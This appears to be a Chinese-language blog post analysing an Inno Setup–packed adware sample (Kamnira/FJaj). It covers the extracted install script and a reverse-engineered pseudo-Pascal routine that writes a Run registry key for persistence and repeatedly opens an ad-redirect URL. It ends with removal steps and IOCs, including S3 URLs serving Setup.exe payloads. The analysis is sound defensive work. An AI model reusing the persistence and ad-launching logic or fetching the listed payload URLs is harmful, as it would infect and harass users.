Kamnira Adware分析
前言
前几天，虚拟机中的Chrome浏览器老是不停的弹一些广告页面。检查一下任务管理器，才明白是中了Adware类型的恶意程序了。
今天给大家分析一下这个样本，最后再给出如何人工删除这样的恶意样本。
FileDescription: FJaj Setup
ProductName: FJaj
MD5: 45965353941D1512AE04F9AD1C45E125
Sha-1: 2743E94CDD4786E41960F9C28B2C8B881C9CEE8A
ad
初步分析
1. IDA 静态分析
从start->main函数，发现InnoSetUpLdrWindow字符串，Shift+F12打开字符串列表，出现如下字符串:
Inno Setup Setup Data (5.5.7)
Inno Setup Messages (5.5.3)
innosetup
由上面字符串推测，应该是由某个软件打包或者二次开发的。
2. 查找Inno Setup字符串
Google搜索Inno Setup字符串，跳到Inno SetUp软件官网https://jrsoftware.org/isinfo.php，它是一个免费Windows安装程序打包软件。
offical_website
3. 提出Kamnira恶意代码Payload
使用Inno Extractor软件提取Kamnira Payload
adware_payload_list
psvince.dll、idp.dll和itdownload.dll被Inno Setup Pascal脚本调用，相关源码链接在文章结尾给出。decompressor.dll和 How-To-PROPERLY是与网络编码与解码相关的库。
install_script 安装脚本分析
1. Inno Setup Version
;InnoSetupVersion=5.5.7
2. SetUp Section
[Setup]
AppName=FJaj
AppId=FHann
AppVersion=64.41
AppPublisherURL=ssh://42.21.62.5
AppSupportURL=ssh://42.21.62.5
AppUpdatesURL=ssh://42.21.62.5
DefaultDirName={pf}\FJaj
DefaultGroupName=FJaj
OutputBaseFilename=E0UGA4~1.EXE
Compression=zip --> 压缩算法
PrivilegesRequired=lowest
DisableDirPage=auto
DisableProgramGroupPage=auto
WizardImageFile=embedded\WizardImage0.bmp
WizardSmallImageFile=embedded\WizardSmallImage0.bmp
3. Files Section
[Files]
Source: "{tmp}\HOW-TO-PROPERLY-HTP--master.zip"; DestDir: "{tmp}"; MinVersion: 0.0,5.0; Flags: deleteafterinstall dontcopy
Source: "{tmp}\psvince.dll"; DestDir: "{tmp}"; MinVersion: 0.0,5.0; Flags: deleteafterinstall dontcopy
Source: "{tmp}\idp.dll"; DestDir: "{tmp}"; MinVersion: 0.0,5.0; Flags: deleteafterinstall dontcopy
Source: "{tmp}\itdownload.dll"; DestDir: "{tmp}"; MinVersion: 0.0,5.0; Flags: deleteafterinstall dontcopy
4. CustomMessage Section
[CustomMessages]
default.NameAndVersion=%1 version %2
default.AdditionalIcons=Additional shortcuts:
default.CreateDesktopIcon=Create a &desktop shortcut
default.CreateQuickLaunchIcon=Create a &Quick Launch shortcut
default.ProgramOnTheWeb=%1 on the Web
default.UninstallProgram=Uninstall %1
default.LaunchProgram=Launch %1
default.AssocFileExtension=&Associate %1 with the %2 file extension
default.AssocingFileExtension=Associating %1 with the %2 file extension...
default.AutoStartProgramGroupDescription=Startup:
default.AutoStartProgram=Automatically start %1
default.AddonHostProgramNotFound=%1 could not be located in the folder you selected.%n%nDo you want to continue anyway?
/*以上是默认配置*/
IDP_FormCaption=Downloading additional files
IDP_FormDescription=Please wait while Setup is downloading additional files...
IDP_TotalProgress=Total progress
IDP_CurrentFile=Current file
IDP_File=File:
IDP_Speed=Speed:
IDP_Status=Status:
IDP_ElapsedTime=Elapsed time:
IDP_RemainingTime=Remaining time:
IDP_DetailsButton=Details
IDP_HideButton=Hide
IDP_RetryButton=Retry
IDP_IgnoreButton=Ignore
IDP_KBs=KB/s
IDP_MBs=MB/s
IDP_X_of_X=%.2f of %.2f
IDP_KB=KB
IDP_MB=MB
IDP_GB=GB
IDP_Initializing=Initializing...
IDP_GettingFileInformation=Getting file information...
IDP_StartingDownload=Starting download...
IDP_Connecting=Connecting...
IDP_Downloading=Downloading...
IDP_DownloadComplete=Download complete
IDP_DownloadFailed=Download failed
IDP_CannotConnect=Cannot connect
IDP_CancellingDownload=Cancelling download...
IDP_Unknown=Unknown
IDP_DownloadCancelled=Download cancelled
IDP_RetryNext=Check your connection and click 'Retry' to try downloading the files again, or click 'Next' to continue installing anyway.
IDP_RetryCancel=Check your connection and click 'Retry' to try downloading the files again, or click 'Cancel' to terminate setup.
IDP_FilesNotDownloaded=The following files were not downloaded:
IDP_HTTPError_X=HTTP error %d
IDP_400=Bad request (400)
IDP_401=Access denied (401)
IDP_404=File not found (404)
IDP_407=Proxy authentication required (407)
IDP_500=Server internal error (500)
IDP_502=Bad gateway (502)
IDP_503=Service temporaily unavailable (503)
经过验证上述关于IDP的配置与开源项目innosetup-download-plugin完全一致. 这部分配置说明，该样本只使用了idp.dll的函数，并没有使用itdownload.dll中的函数.
5. Code Section
{* 初始化函数: 该函数在安装程序初始化时调用，返回False 将中断安装，True则继续安装 *}
INITIALIZESETUP
{ 与安装向导相关的函数 }
WIZARDVERYSILENT
WIZARDSUPRESSMSGBOXES
{ 函数或过程, 这些函数名称与其功能相同，相关源码链接在文章结尾给出 }
procedure idpAddFile(Arg0: ?; Arg1: ?) cdecl; external 'idpAddFile@idp.dll cdecl';
procedure idpAddFileComp(Arg0: ?; Arg1: ?; Arg2: ?) cdecl; external 'idpAddFileComp@idp.dll cdecl';
procedure idpAddMirror(Arg0: ?; Arg1: ?) cdecl; external 'idpAddMirror@idp.dll cdecl';
procedure idpAddFtpDir(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?) cdecl; external 'idpAddFtpDir@idp.dll cdecl';
procedure idpAddFtpDirComp(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?; Arg4: ?) cdecl; external 'idpAddFtpDirComp@idp.dll cdecl';
procedure idpClearFiles() cdecl;external 'idpClearFiles@idp.dll cdecl';
function idpFilesCount(): ? cdecl;external 'idpFilesCount@idp.dll cdecl';
function idpFtpDirsCount(): ? cdecl;external 'idpFtpDirsCount@idp.dll cdecl';
function idpFileDownloaded(Arg0: ?): ? cdecl;external 'idpFileDownloaded@idp.dll cdecl';
function idpFilesDownloaded(): ? cdecl;external 'idpFilesDownloaded@idp.dll cdecl';
function idpDownloadFile(Arg0: ?; Arg1: ?): ? cdecl; external 'idpDownloadFile@idp.dll cdecl';
function idpDownloadFiles(): ? cdecl;external 'idpDownloadFiles@idp.dll cdecl';
function idpDownloadFilesComp(): ? cdecl;external 'idpDownloadFilesComp@idp.dll cdecl';
function idpDownloadFilesCompUi(): ? cdecl; external 'idpDownloadFilesCompUi@idp.dll cdecl';
procedure idpStartDownload() cdecl; external 'idpStartDownload@idp.dll cdecl';
procedure idpStopDownload() cdecl; external 'idpStopDownload@idp.dll cdecl';
procedure idpSetLogin(Arg0: ?; Arg1: ?) cdecl; external 'idpSetLogin@idp.dll cdecl';
procedure idpSetProxyMode(Arg0: ?) cdecl; external 'idpSetProxyMode@idp.dll cdecl';
procedure idpSetProxyName(Arg0: ?) cdecl; external 'idpSetProxyName@idp.dll cdecl';
procedure idpSetProxyLogin(Arg0: ?; Arg1: ?) cdecl; external 'idpSetProxyLogin@idp.dll cdecl';
procedure idpConnectControl(Arg0: ?; Arg1: ?) cdecl; external 'idpConnectControl@idp.dll cdecl';
procedure idpAddMessage(Arg0: ?; Arg1: ?) cdecl; external 'idpAddMessage@idp.dll cdecl';
procedure idpSetInternalOption(Arg0: ?; Arg1: ?) cdecl; external 'idpSetInternalOption@idp.dll cdecl';
procedure idpSetDetailedMode(Arg0: ?) cdecl; external 'idpSetDetailedMode@idp.dll cdecl';
procedure idpSetComponents(Arg0: ?) cdecl; external 'idpSetComponents@idp.dll cdecl';
procedure idpReportError() cdecl; external 'idpReportError@idp.dll cdecl';
procedure idpTrace(Arg0: ?) cdecl; external 'idpTrace@idp.dll cdecl';
procedure idpAddFileSize32(Arg0: ?; Arg1: ?; Arg2: ?) cdecl; external 'idpAddFileSize32@idp.dll cdecl';
procedure idpAddFileSize32(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?) cdecl; external 'idpAddFileSize32@idp.dll cdecl';
function idpGetFileSize32(Arg0: ?; var Arg1: ?): ? cdecl; external 'idpGetFileSize32@idp.dll cdecl';
function idpGetFilesSize32(var Arg0: ?): ? cdecl; external 'idpGetFilesSize32@idp.dll cdecl';
procedure itd_cancel() stdcall; external 'itd_cancel@itdownload.dll stdcall';
procedure itd_clearfiles() stdcall; external 'itd_clearfiles@itdownload.dll stdcall';
function itd_downloadfile(Arg0: ?; Arg1: ?): ? stdcall; external 'itd_downloadfile@itdownload.dll stdcall';
function itd_getresultlen(): ? stdcall; external 'itd_getresultlen@itdownload.dll stdcall';
procedure itd_getresultstring(Arg0: ?; Arg1: ?) stdcall; external 'itd_getresultstring@itdownload.dll stdcall';
procedure itd_initui(Arg0: ?) stdcall; external 'itd_initui@itdownload.dll stdcall';
function itd_loadstrings(Arg0: ?): ? stdcall; external 'itd_loadstrings@itdownload.dll stdcall';
procedure itd_setoption(Arg0: ?; Arg1: ?) stdcall; external 'itd_setoption@itdownload.dll stdcall';
function itd_getfilesize(Arg0: ?; var Arg1: ?): ? stdcall; external 'itd_getfilesize@itdownload.dll stdcall';
function itd_getstring(Arg0: ?): ? stdcall; external 'itd_getstring@itdownload.dll stdcall';
function itd_getoption(Arg0: ?; Arg1: ?; Arg2: ?): ? stdcall; external 'itd_getoption@itdownload.dll stdcall';
procedure itd_setstring(Arg0: ?; Arg1: ?) stdcall; external 'itd_setstring@itdownload.dll stdcall';
procedure itd_addfile(Arg0: ?; Arg1: ?) stdcall; external 'itd_addfile@itdownload.dll stdcall';
procedure itd_addmirror(Arg0: ?; Arg1: ?) stdcall; external 'itd_addmirror@itdownload.dll stdcall';
procedure itd_addfilesize(Arg0: ?; Arg1: ?; Arg2: ?) stdcall; external 'itd_addfilesize@itdownload.dll stdcall';
function itd_downloadfiles(Arg0: ?): ? stdcall; external 'itd_downloadfiles@itdownload.dll stdcall';
function itd_filecount(): ? stdcall; external 'itd_filecount@itdownload.dll stdcall';
function itd_postpage(Arg0: ?; Arg1: ?; Arg2: ?): ? stdcall; external 'itd_postpage@itdownload.dll stdcall';
function IsModuleLoaded(Arg0: ?): ? stdcall; external 'IsModuleLoaded@psvince.dll stdcall';
function ShellExecuteA(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?; Arg4: ?; Arg5: ?): ? stdcall;external 'ShellExecuteA@shell32.dll stdcall';
procedure ExitProcess(Arg0: ?) stdcall; external 'ExitProcess@kernel32.dll stdcall';
6. 逆向还原INITIALIZESETUP函数
function INITIALIZESETUP():BOOLEAN
const
{* constant string value *}
{* URL *}
param = '{param:p|}';
open_action = 'open';
https = 'https://';
url_header = 'thebestof';
url_end = 'fersintheweb.com/redirect/57a764d042bf8/';
{* registry *}
full_path = "{srcexe}";
HKEY_CURRENT_USER = 0x80000001;
subkey = 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run';
{* other *}
taskmgr = 'taskmgr.exe';
{* constant number value *}
sleep_ms = 60000;
var
error_code, flag, seven, random_value, sum_times, url
begin
param_value := EXPANDCONSTANT(param);
flag := param_value <> ''; {不为空，则设置自启动}
if not flag then
src_exe_full_path := EXPANDCONSTANT(full_path)
s := '"' + src_exe_full_path + '" /VERYSILENT'
random_value := RANDOM(9999999)
REGWRITESTRINGVALUE(HKEY_CURRENT_USER, subkey, INTTOSTR(random_value), s) {设置自启动}
while 1 do
begin
random_value = RANDOM(5)
if random_value > 1 then
sum_times := random_value * 60000
SLEEP(sum_times)
break;
end;
label1:
result := IsModuleLoaded(taskmgr) {taskmgr.exe进程是否存在，存在(TRUE), 不存在(FALSE)}
if result then
url := https + url_header + url_end
SHELLEXEC(open, url,'', '', 5, 0, error_code)
while 1 do
begin
random_value := RANDOM(7);
result := random_value > 1;
if result then
sum_times := random_value * 60000
SLEEP(sum_times); {休眠}
goto label1;
else
sum_times := random_value * sleep_ms;
SLEEP(sum_times);
result := IsModuleLoaded(taskmgr);
if result then
url := https + url_header + url_end;
SHELLEXEC(open, url,'', '', 5, 0, error_code); {打开url}
end;
end.
INITIALIZESETUP函数主要完成两个任务：1.修改注册表，以实现持久化；2. 不间断打开浏览器推送广告。
不过，代码中有一点很有意思：用户打开进程管理器，该样本仍弹广告而不是休眠。（有可能是我分析错了，大牛可以在评论里面指正）
追踪URL
浏览器配置代{过}{滤}理为127.0.0.1:8080, 使用burpsuite拦截浏览器请求.
-
经过一次重定向跳转至广告页面
one_time_response
-
经过五次重定向跳转至广告页面
five_times.png
-
经过七次重定向跳转至广告页面
seven_time.png
final_ad.png
总结：每次浏览器重新请求www.thebestoffersintheweb.com页面，跳转至最终广告页面的次数不是确定的。
总结
整个恶意程序大部分都是使用开源代码开发，需要修改的部分只有一个Inno Setup安装脚本和一个推送广告的网站。这个样本只是虚拟机感染Adware样本之一，其他的样本分析手法类似。第一次分析Innosetup类型的样本，顺便花一上午学习pascal脚本。我本身主要做逆向分析的，欢迎其他大牛补充恶意广告域名部分内容。使用微步查询onclickmax.com,得到如下结果：
threatbook
如何删除该样本
1. kill process
打开进程管理器，结束进程。一般该进程处于未响应状态。
kill_process
2. 删除相关文件
删除当前恶意样本，然后打开%tmp%文件夹，删除相关文件。
delete_files
3. 注册表相关
检查HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run是否有存在与该样本相关的自动项。
相关链接
idp源码:https://github.com/WPN-XM/WPN-XM/tree/master/bin/innosetup-download-plugin
itdownload源码:https://github.com/wilbit/itdownload.git
psvince源码: https://github.com/XhmikosR/psvince
Pascal脚本学习：https://iowiki.com/pascal/
Innosetup Pascal脚本： https://blog.csdn.net/yushanddddfenghailin/article/details/17250917
IOC
website: http://www.onclickmax.com/
URL: ssh://42.21.62.5
URL: http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/Fake/Setup.exe
URL: http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/USA/Setup.exe
URL: http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/CA/Setup.exe
URL: http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/SE/Setup.exe
发表于 2020-12-28 19:17
